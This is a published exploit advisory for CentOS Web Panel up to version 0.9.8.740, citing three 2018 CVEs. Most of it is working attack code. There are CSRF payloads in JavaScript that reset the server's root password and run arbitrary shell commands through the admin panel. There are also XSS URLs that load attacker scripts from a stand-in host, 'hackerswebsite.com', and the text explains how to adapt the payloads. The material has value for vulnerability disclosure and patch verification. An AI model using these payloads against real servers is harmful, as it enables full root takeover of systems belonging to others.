CentOS Web Panel 0.9.8.740 – Cross-Site Request Forgery / Cross-Site Scripting
# Title: CentOS Web Panel Root Account Takeover + Remote Command Execution <= v0.9.8.740 # Author: InfinitumIT (https://infinitumit.com.tr) # Vendor Homepage: centos-webpanel.com # Software Link: http://centos-webpanel.com/cwp-latest # Version: Up to v0.9.8.740. # CVE: CVE-2018-18773, CVE-2018-18772 and CVE-2018-18774. #? Detailed: https://numanozdemir.com/respdisc/cwp.pdf # Description: # Attacker can change target server's root password and execute command, by CSRF vulnerability. # Also, there is a XSS vulnerability, hacker can exploit the CSRF vulnerability by this XSS # vulnerability and run bad-purposed JavaScript codes on administrator's browser. # So, CSRF/XSS to full server takeover. # How to Reproduce: # Hacker can exploit this vulnerability (changing root password) by XSS or CSRF. # Hacker will create a website and put those codes into source: <script> var url = "http://targetserver:2030/admin/index.php?module=rootpwd"; var params = "ifpost=yes&password1=newpassword&password2=newpassword"; var vuln = new XMLHttpRequest(); vuln.open("POST", url, true); vuln.withCredentials = 'true'; vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); vuln.send(params); </script> # (Update newpassword as the password that you want to change.) # If hacker wants to exploit this by CSRF, CWP administrator will click hacker's website. # But if hacker wants to exploit this by XSS, CWP administrator will click here: (admin's own website) # http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/password.js></script> # After exploiting, you can connect to server by Putty or access the CWP panel with the password # that you have specified from 2030 port. # The second vulnerability is remote command execution. # Hacker can exploit this vulnerability (remote command execution) by XSS or CSRF too. # Again, hacker will create a website and put those codes into source: <script> var url = "http://targetserver:2030/admin/index.php?module=send_ssh"; var params = "ssh+command=whoami"; var vuln = new XMLHttpRequest(); vuln.open("POST", url, true); vuln.withCredentials = 'true'; vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); vuln.send(params); </script> # (Update whoami as command that you want to run.) # Same logic like top, if hacker wants to exploit this by CSRF, CWP administrator will click hacker's website. # But if hacker wants to exploit this by XSS, CWP administrator will click here: (admin's own website) # http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/command.js></script> # shouldnt think that CSRF/XSS are unimportant vulnerabilities. # for secure days... |